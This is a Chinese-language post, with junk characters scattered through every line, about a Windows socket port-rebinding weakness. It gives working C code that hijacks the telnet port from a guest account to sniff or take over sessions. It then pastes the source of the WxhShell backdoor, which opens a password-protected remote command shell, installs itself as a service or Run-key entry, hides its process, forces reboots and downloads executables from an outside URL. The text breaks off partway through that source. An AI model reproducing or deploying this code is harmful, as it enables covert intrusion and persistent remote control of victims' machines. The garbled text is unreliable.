在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
t=6Wk4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ng;Fhv+ Y:3\z?oV[ saddr.sin_family = AF_INET;
'X]my @;T?R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9xZ?}S:d d\{a&\v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bR&<vrMmrA qcdENIy0b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$0wF4$) ?:1)=I<A4 这意味着什么?意味着可以进行如下的攻击:
:eR[lR^4*
N \Wd0b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uL[%R2
)9mUE*[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
% m0x] .|Bmg6g* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wG2-,\: |=U(8t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
J"W+9sI0 3V2w1CERE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ze>Pg.k+ j9IeqlL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ZPolE_P7 eV x
&S a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r")zR, Q`4]\)Dp #include
q*kieqG #include
ko<iG]Dv' #include
JHCV7$RS #include
( O>oN~ DWORD WINAPI ClientThread(LPVOID lpParam);
qf
qp}g\ int main()
dS[="Set {
oL69w1 WORD wVersionRequested;
%hqhi@q# DWORD ret;
;zl/ WSADATA wsaData;
S3( 2.c~ BOOL val;
0XNj!^& SOCKADDR_IN saddr;
[Y^1}E* SOCKADDR_IN scaddr;
!agtgS$qII int err;
6qgII~F' SOCKET s;
>5|;8v-r
SOCKET sc;
EjYCOb- int caddsize;
V^^nJs
tV HANDLE mt;
W%k0_Y/5 DWORD tid;
|UO&18Y7- wVersionRequested = MAKEWORD( 2, 2 );
ZdJer6:Z} err = WSAStartup( wVersionRequested, &wsaData );
?8LRd5LH if ( err != 0 ) {
43?J~}<Vs printf("error!WSAStartup failed!\n");
tt7l%olw return -1;
D(]])4 }
uPtHCP6 saddr.sin_family = AF_INET;
H#joc0?P ; 7]Q'N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x_3Zd Je6=N3) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vG<JOxP saddr.sin_port = htons(23);
V %cU@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8;YN`S!o {
NNQro)Lpe printf("error!socket failed!\n");
w]{NaNIeq1 return -1;
Czs4jHTa` }
?q%)8 E val = TRUE;
fi[c^e+IX //SO_REUSEADDR选项就是可以实现端口重绑定的
h69: Tj! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4^KoHeM6 {
Y.Er!(pz printf("error!setsockopt failed!\n");
w:z@!< return -1;
I!)gXtJA" }
p,=:Ff}~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'xdM>y#S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
C_[V[k0( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
COw]1R )y7SkH| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Cl;B%5yl {
H].
4~ 8 ret=GetLastError();
"mAVkq~ printf("error!bind failed!\n");
TA}z3!-y* return -1;
1GY[1M1^ }
g#V3u=I8~ listen(s,2);
sX3Vr&r while(1)
FxKb {
4[]R?lL caddsize = sizeof(scaddr);
@NXGVmY1} //接受连接请求
-#b-@sD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?S8cl7;+ if(sc!=INVALID_SOCKET)
*n0k2 p {
o_gpBaWD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<?P UF, if(mt==NULL)
>qn@E?Uf {
PZ-|W printf("Thread Creat Failed!\n");
AAsl) break;
Uq/(xh,t5 }
n>\BPiz }
b9(d@2MtK CloseHandle(mt);
VG'oy }
IPcAE!h6zN closesocket(s);
fp9ksxb@m WSACleanup();
c3|;'s return 0;
Vzz0)`*hQ }
\1RQ),5 %] DWORD WINAPI ClientThread(LPVOID lpParam)
9il!w
g? {
U<eVLfSij SOCKET ss = (SOCKET)lpParam;
Y,? SOCKET sc;
pi5Al)0 unsigned char buf[4096];
B| %=<1? SOCKADDR_IN saddr;
V0L^pDLOV long num;
C4Q^WU+$j DWORD val;
<P( K,L?r DWORD ret;
+U^dllL7 //如果是隐藏端口应用的话,可以在此处加一些判断
-nO('(t //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mCtuyGY saddr.sin_family = AF_INET;
96vv85g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@P"q`* saddr.sin_port = htons(23);
S'Q$N-Dy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`R8~H7{I6 {
P _Zf(`jJ printf("error!socket failed!\n");
/k1&?e return -1;
8ne'x!1 D }
Np|iXwl1 val = 100;
M.d{:&@`% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.Rc&EO {
I_#)>%H ret = GetLastError();
~srmlBi6 return -1;
[fR<#1Z }
+zs;>'Sf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jRB:o?S {
9A3Q&@, ret = GetLastError();
ET_}x7 return -1;
V85a{OBm,8 }
Aid{PGDk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ffm19 B= {
5qG7LO. printf("error!socket connect failed!\n");
1
EC0wX closesocket(sc);
|ki#MtCp closesocket(ss);
FPFt3XL return -1;
pPh_p@3I }
IO>Cy o while(1)
+#Ov9b {
K~,,xsy,G& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
giaO7Qh~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
%F&j B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
p$ [*GXR4 num = recv(ss,buf,4096,0);
g"C$B Fc if(num>0)
"!Mu5Ga send(sc,buf,num,0);
,*S?L
qv^ else if(num==0)
#wM0p:< break;
~Zaxn~u:
num = recv(sc,buf,4096,0);
v
l{hE~ if(num>0)
,=6Eju#P send(ss,buf,num,0);
>454Yir0Mk else if(num==0)
Jz%&-e3 break;
m>NRIEA6 }
Z/beROW ) closesocket(ss);
h.2!d0j] closesocket(sc);
&,$A7: return 0 ;
!0Q(x }
G =< KAJ |UR.7rOV E/s3@-/ ==========================================================
u3k+Xg: IyP\7WZ 下边附上一个代码,,WXhSHELL
qU2>V 79x^zqLb ==========================================================
E>'pMw 4,<~t>M1 #include "stdafx.h"
oTx#e[8f{ Vs07d,@w> #include <stdio.h>
a-QHm;_S #include <string.h>
bjQfZT( #include <windows.h>
u:,B"! #include <winsock2.h>
(V=lK6WQm #include <winsvc.h>
,Y!T!o}1
#include <urlmon.h>
UZ](X/ cJ[n<hTv #pragma comment (lib, "Ws2_32.lib")
5utj$ha2 #pragma comment (lib, "urlmon.lib")
^?J:eB! v"$; aJ #define MAX_USER 100 // 最大客户端连接数
~^5uOeTZ~ #define BUF_SOCK 200 // sock buffer
^R<= } #define KEY_BUFF 255 // 输入 buffer
0q`'65 lx 9MXauTKI #define REBOOT 0 // 重启
WHpbQQX #define SHUTDOWN 1 // 关机
t"BpaA^gO 6Jj)[ R\5= #define DEF_PORT 5000 // 监听端口
,2kWj7H%7 5Cz:$-+ #define REG_LEN 16 // 注册表键长度
Wq>j;\3b3 #define SVC_LEN 80 // NT服务名长度
'*~{1gG ` uox;PDK // 从dll定义API
S3oU7*OZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vMC;5r6*d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1MV^~I8Dd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u?'X%'K* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J J3vC c2F`S1Nu< // wxhshell配置信息
W&p-Z"=) struct WSCFG {
!*\^-uvaK int ws_port; // 监听端口
H+: $ 7; char ws_passstr[REG_LEN]; // 口令
Y5n pz^i int ws_autoins; // 安装标记, 1=yes 0=no
'Klz`)F char ws_regname[REG_LEN]; // 注册表键名
@\q~OyV char ws_svcname[REG_LEN]; // 服务名
om/gk4S2 char ws_svcdisp[SVC_LEN]; // 服务显示名
Aw|3W ] char ws_svcdesc[SVC_LEN]; // 服务描述信息
j<gnh char ws_passmsg[SVC_LEN]; // 密码输入提示信息
j5HOdy2 int ws_downexe; // 下载执行标记, 1=yes 0=no
\NSwoP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
t)v#y!Ci" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vu#:D1/BB
P.fgt>v] };
LvA IAknc +5HO T{wj // default Wxhshell configuration
DV.MvFV struct WSCFG wscfg={DEF_PORT,
ahf$#UQLb "xuhuanlingzhe",
^1nf|Xj[ 1,
jBB<{VV| "Wxhshell",
nh8h?&q| "Wxhshell",
4t+88e "WxhShell Service",
1ii.nt1u "Wrsky Windows CmdShell Service",
7u}r^+6_o "Please Input Your Password: ",
Z?@07Y[|K 1,
8uu:e<PLv "
http://www.wrsky.com/wxhshell.exe",
Ln:
y|t "Wxhshell.exe"
{C6Yr9 };
Y{S/A *X FUOvH85f // 消息定义模块
IQ~()/;3d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UnMDdJ\ char *msg_ws_prompt="\n\r? for help\n\r#>";
5QT9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
iN)@Cu7 char *msg_ws_ext="\n\rExit.";
-`gC?yff: char *msg_ws_end="\n\rQuit.";
|_rj12.xo char *msg_ws_boot="\n\rReboot...";
<zUmcZ char *msg_ws_poff="\n\rShutdown...";
#z~oc^J^T char *msg_ws_down="\n\rSave to ";
\"*l:x-u !XicX9n char *msg_ws_err="\n\rErr!";
Rza\n8 char *msg_ws_ok="\n\rOK!";
61KJ(
rSX3 (+U!#T]'D char ExeFile[MAX_PATH];
\\T
I4A^# int nUser = 0;
DUtpd| HANDLE handles[MAX_USER];
K0v,d~+] int OsIsNt;
|~/{lE=I /U`"|3 SERVICE_STATUS serviceStatus;
+`4|,K7' SERVICE_STATUS_HANDLE hServiceStatusHandle;
;F:(5GBi vB,N6~r> // 函数声明
}I;W int Install(void);
C$hsR& int Uninstall(void);
[ wROIvV int DownloadFile(char *sURL, SOCKET wsh);
vS0P]AUo int Boot(int flag);
O{4m-; void HideProc(void);
);6zV_^! int GetOsVer(void);
;L`'xFo>> int Wxhshell(SOCKET wsl);
g5"g,SFGr void TalkWithClient(void *cs);
f+1]#"9i| int CmdShell(SOCKET sock);
h%O`,iD2 int StartFromService(void);
`b2I)xC# int StartWxhshell(LPSTR lpCmdLine);
JrQN-e! +j<Nu)0iY VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x}roPhZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
`K@
_S[H:b$? // 数据结构和表定义
FHD6@{{Gp" SERVICE_TABLE_ENTRY DispatchTable[] =
-8o8lz {
KW09qar {wscfg.ws_svcname, NTServiceMain},
F3qi$ 3HM {NULL, NULL}
ecFI"g };
}C'z$i( y ZNUV Bi // 自我安装
a@7we=! int Install(void)
-0kwS4Hx2 {
Wb|IWnH$ char svExeFile[MAX_PATH];
b2 ),J HKEY key;
$v^F>*I1 strcpy(svExeFile,ExeFile);
k&**f_b [$./'-I] // 如果是win9x系统,修改注册表设为自启动
[qy@g5` if(!OsIsNt) {
dRu@5
:BP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=tP|sYR]^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"#9WF} RegCloseKey(key);
qV^H vZJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
="u(o(j" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&&m%=i.qK RegCloseKey(key);
p#?1l/f"
return 0;
MAR;k?d }
sz)3
z }
8IX6MfR}C }
;Y~;G7 else {
D8h~?phK $<yb~z7J // 如果是NT以上系统,安装为系统服务
;hg]5r_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k}BNFv8 if (schSCManager!=0)
/fD)/x {
RuHJk\T+ SC_HANDLE schService = CreateService
P8TiB (
yx-{}Yj^ schSCManager,
f2d"b+H# wscfg.ws_svcname,
2=#O4k.@ wscfg.ws_svcdisp,
aMHIOA%Kh SERVICE_ALL_ACCESS,
VRxBi!d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1LE8,Gm& SERVICE_AUTO_START,
*mBEF" SERVICE_ERROR_NORMAL,
}R
J2\CP svExeFile,
}
HvVL}7 NULL,
F\XzP\ NULL,
xi.;`Q^# NULL,
P= ]ZXj[ NULL,
;hKn$' ' NULL
a|fyo#L );
EJ86k>] if (schService!=0)
O4}cv {
PanyN3rC* CloseServiceHandle(schService);
!,1~:*: CloseServiceHandle(schSCManager);
yP"_j&ef7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?$o8=h strcat(svExeFile,wscfg.ws_svcname);
i=SX_#b^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*M8 4Dry`y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}b+=, Sc" RegCloseKey(key);
{~=[d`t return 0;
a1GyI }
3kJAaI8 }
%i^%D CloseServiceHandle(schSCManager);
ah}aL7dgO }
t%=ylEPW }
1~_]"Y' 9t)t-t#P; return 1;
a#mdD:,cF }
{UwJg ,@2O_O`: // 自我卸载
i1sc oxX3\ int Uninstall(void)
QXF>xZ~ {
>w
V$az HKEY key;
Bg34YmZ
D@0eYX4s if(!OsIsNt) {
bbnAF*7s8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lQ)8zI RegDeleteValue(key,wscfg.ws_regname);
<iTaJa$0m RegCloseKey(key);
c[Y7tj%y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.kBAUkL: RegDeleteValue(key,wscfg.ws_regname);
5#iv[c RegCloseKey(key);
1 iE return 0;
y_a~>S }
8rw;Yo<k }
2O4UytN }
IoA"e@~t else {
:yw0-]/DD $3FFb#r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
g\n@(T$) if (schSCManager!=0)
ZL-@2ZU{1 {
jd~r~.y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\24neD4cM@ if (schService!=0)
{U&Mo97rzX {
N=|w]t0*yc if(DeleteService(schService)!=0) {
[=XsI]B\ CloseServiceHandle(schService);
8 v&5)0u CloseServiceHandle(schSCManager);
cT." return 0;
fv)-o&Q# }
xOZ?zN CloseServiceHandle(schService);
D<nTo&m_ }
4(o0I~hpB? CloseServiceHandle(schSCManager);
Ei}B9 &O }
>6(nW:I0y }
)M}bc1 _ }Z2Y>raA\ return 1;
B< 6*Ktc }
377$c;4F lOYwYMi // 从指定url下载文件
2,dGRf int DownloadFile(char *sURL, SOCKET wsh)
"i9$w\lm {
a_FJN zL HRESULT hr;
%#"uK:(N char seps[]= "/";
w_e Las% char *token;
@{~x:P5g char *file;
U4M!RdG char myURL[MAX_PATH];
OHe<U8iu% char myFILE[MAX_PATH];
Lv#DIQ8y TB1 1crE strcpy(myURL,sURL);
G4ZeO:r token=strtok(myURL,seps);
#|2w^Kn while(token!=NULL)
5a-8/.}cP {
!MQo=k file=token;
0I079fqk< token=strtok(NULL,seps);
kg+"Ta[9 }
d0IHl!X ?I7%@x!+S GetCurrentDirectory(MAX_PATH,myFILE);
jG8ihi strcat(myFILE, "\\");
v-&^G3 strcat(myFILE, file);
5(TI2,4 send(wsh,myFILE,strlen(myFILE),0);
TQYud'u/ send(wsh,"...",3,0);
yQ6{-:`) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
oZP:}= F if(hr==S_OK)
c~z{/L return 0;
aRg-
rz else
A+:K!|w return 1;
eH79,!=2 Ewu 7tq Z }
e)>Z&e,3 =<R77rnY& // 系统电源模块
,SS@]9A& int Boot(int flag)
I)9;4lix {
Q]7r?nEEhW HANDLE hToken;
Vh4z+JOC TOKEN_PRIVILEGES tkp;
sR'rY[^/| 3v5]L3 if(OsIsNt) {
E #8 `X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^MDBJ0
I. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
aW$7:<A{ tkp.PrivilegeCount = 1;
t9W_ [_a9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|OuZaCJG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0.bmVN< if(flag==REBOOT) {
K|E}Ni if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
NuW9.6$Jrf return 0;
n"d~UV^Uw }
,$7LMTVDrE else {
A:&
`oJl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Vad(PS0 return 0;
jHTaG%oh }
*+lnAxRa? }
.lTU[(qwu else {
,HY z-sK. if(flag==REBOOT) {
+#,t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OJQ7nChMm return 0;
b]Oc6zR,,~ }
U/wY;7{)# else {
H Viu7kue` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Nr6YQH*[ return 0;
}DY^a'wJ- }
R~[
u|EC} }
bP(V#6IJ8 ?^5W.`Y2i return 1;
Dbz\8gmY }
a(BWV?A !V7VM_}@Y // win9x进程隐藏模块
ZO
W{rv] void HideProc(void)
-L</,>p {
3eFD[c%mN _OHz 6ag HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pi3Z)YcT if ( hKernel != NULL )
DZ(e^vq {
] l}8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#^%Rk'W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qA
Jgz7=c FreeLibrary(hKernel);
6(<AuhFu }
s[8<@I*u >x(^g~i return;
=r:D]?8oC }
R8O<}>3a -Y2h vC // 获取操作系统版本
C Vyq/X int GetOsVer(void)
oC>^V5 {
6n45]? OSVERSIONINFO winfo;
r]kLe2r:B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?v8B;="#w GetVersionEx(&winfo);
+q1
@8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O9:vPbn return 1;
!N?|[n1 else
>eW HPO return 0;
6(<M.U_ft }
[{f{E )I$_wB!UV // 客户端句柄模块
N}pE{~Y int Wxhshell(SOCKET wsl)
v|CRiwx {
,hYUxh45 SOCKET wsh;
: ,LX3, struct sockaddr_in client;
&yp_wW- DWORD myID;
mY
|$=n5X vAHJP$x while(nUser<MAX_USER)
pU<->d;-> {
Y]^[|e8 int nSize=sizeof(client);
q71Tg wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
C4#'`8E if(wsh==INVALID_SOCKET) return 1;
[1G4he% ,d&~#W] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
li$(oA2 if(handles[nUser]==0)
5lVDYmh closesocket(wsh);
xud =(HLl else
{UvZ nUser++;
QVQe9{ "0 }
ZMy,<wk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f* p=]]y xBl}=M?Qu return 0;
&5~bJ]P }
dl;^sn0s 5 ,q uM" // 关闭 socket
Aum&U){yY void CloseIt(SOCKET wsh)
,M5zhp$ {
q: ?6 closesocket(wsh);
'HH[[9Q nUser--;
xCiY
jl$ ExitThread(0);
l"*zr ;# }
tg7%@SI5^- ?2aglj*"v, // 客户端请求句柄
mj{TqF void TalkWithClient(void *cs)
PZ
AyHXY {
v0apEjT CM!bD\5 SOCKET wsh=(SOCKET)cs;
Y'DI@ char pwd[SVC_LEN];
:-69,e char cmd[KEY_BUFF];
s1?N&t8c char chr[1];
Zb^0EbV int i,j;
VNp[J'a>VZ J
XPE9uH while (nUser < MAX_USER) {
]wc'h>w +YI/(ko= if(wscfg.ws_passstr) {
g;UB+Y 247 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LeF Z%y)F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/hQTV!\u //ZeroMemory(pwd,KEY_BUFF);
dNU i|IYm$ i=0;
u$X[= while(i<SVC_LEN) {
a{GPAzO+ XBh0=E?qiS // 设置超时
pW 2NrBq@w fd_set FdRead;
|~Z.l struct timeval TimeOut;
.!/DM-C FD_ZERO(&FdRead);
gp`$/ci FD_SET(wsh,&FdRead);
+? E~F TimeOut.tv_sec=8;
64fa0j~<*M TimeOut.tv_usec=0;
|a*VoMZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8iGS=M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&5h{XSv G%jgr"]\z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
idPx!
fe pwd
=chr[0]; !ow:P8K?
if(chr[0]==0xd || chr[0]==0xa) { ZX'q-JUv f
pwd=0; m9 o{y6_j*
break; gFizw:l
} MxQhkY-=
i++; IW?).%F
} 9~n`6;R
;h<(vc3@f
// 如果是非法用户,关闭 socket @a$_F3W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8Wqh 8$
} j)xRzImu
#I8)|p?P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n("Xa#mY[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b
5<&hN4g
3qujz)o
while(1) { UTB]svC'
&W+lwEu
ZeroMemory(cmd,KEY_BUFF); M(8dKj1+
55q!2>Jh.
// 自动支持客户端 telnet标准 _N)/X|=~s
j=0; VRU"2mQ.P6
while(j<KEY_BUFF) { !xk`oW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E:vgG|??
cmd[j]=chr[0]; "AYm*R
if(chr[0]==0xa || chr[0]==0xd) { K</EVt,U~
cmd[j]=0; QTr)r;Tro
break; Iue}AGxu:{
} ,2oF t\`.r
j++; ]Q0m]OaT
} #O 2g]YH
Hi%)TDfv
// 下载文件 ,+2!&"zD
if(strstr(cmd,"http://")) { @7UZ{+67*C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gxnIur)
if(DownloadFile(cmd,wsh)) dynkb901s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k_;g-r,
else lCafsIB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GdN9bA&,
} '3<T~t
else { 9*~bAgkWI
f/xQy}4+~E
switch(cmd[0]) { E' -lpE
`PY=B$?{4
// 帮助 CWBlDz
case '?': { TOT#l6yqdd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [}$jO,H5r
break; )[b\wrc
} [~NJf3c"
// 安装 Es<& 6
case 'i': { cN% r\
if(Install()) [>$?/DM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '4KN
else
5ENU}0W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o|G'vMph
break; &?[g8A
} W Og pDs
// 卸载 Y`N w E
case 'r': { knn9s0'Q
if(Uninstall()) 'VpzB
s#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gmqA 5W~y
else k"3@G?JY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qli#=0{`
break; *iX PG9XZ
} ^HhV?Iqg
// 显示 wxhshell 所在路径 j>8S,b=%
case 'p': { Rp+Lu
char svExeFile[MAX_PATH]; ]z O6ESH
strcpy(svExeFile,"\n\r"); VUon>XQ
G
strcat(svExeFile,ExeFile); ,ZI#p6
send(wsh,svExeFile,strlen(svExeFile),0); Pm7lP5
break; S
awf]/
} `h%K8];<6f
// 重启 Spu>
ac
case 'b': { !J&UO/q.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `]`S"W7&
if(Boot(REBOOT)) 0"}=A,o(w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /HH_Zi0?N|
else { f
AY(ro9Q(
closesocket(wsh); L\hid/NL
ExitThread(0); Cxd^i
} e:l7 w3?O
break; KV 8Ok
} tdHeZv
// 关机 G#Kw6
case 'd': { 8d?%9# p-)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m\oxS;fxWi
if(Boot(SHUTDOWN)) ov<vSc<u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[N@ )E_G
else { KVevvy)W
closesocket(wsh); ]eUD3WUe>q
ExitThread(0); ;qO3m-(d
} 5yyc0UG
break; =Fc}T%
} d\R "?Sg
// 获取shell 0Bt>JbGs4
case 's': { 6?ky~CV
CmdShell(wsh); 9?q ^yy
closesocket(wsh); foUBMl
ExitThread(0); NFy V02.
break; ]UkqPtG;
} . HN4xL
// 退出 n%;4Fm?
case 'x': { 7~r_nP_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iGSF5S
CloseIt(wsh); ![!,i\x
break; ]Q,&7D
Ah
} e7y,zcbv
// 离开 @EURp
case 'q': { DR
@yd,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); EL%P v1
closesocket(wsh); B}P!WRNmln
WSACleanup(); beBv|kI4
exit(1); gL~3z'$
break; g:.LCF
} #)m[R5g(
} aTfc>A;
} p(-EtxP
)6BySk
// 提示信息 qfdL *D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?^J%S,
} k%8kt4\wn6
} W0;QufV
3s?ZyQy
return; mq}UUk@
} O3?^P"C
d04gmc&*
// shell模块句柄 XZQ-Ig18
int CmdShell(SOCKET sock) r oPC
^Q
{ ,gW$m~\
STARTUPINFO si; j+>[~c;0)
ZeroMemory(&si,sizeof(si)); q Y!LzKM0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zx`/88!x[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4`'Rm/)
PROCESS_INFORMATION ProcessInfo; tKeozV[V
char cmdline[]="cmd"; oKr= ]p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _dECAk
&b
return 0; &xvNR=K[`
} YzJWS|]
?%%vQ?
// 自身启动模式 h#Mx(q
int StartFromService(void) w11L@t[5W8
{ FI[]#
typedef struct *y(UI/c
{ <WbO&;%
DWORD ExitStatus; vR pO0qG
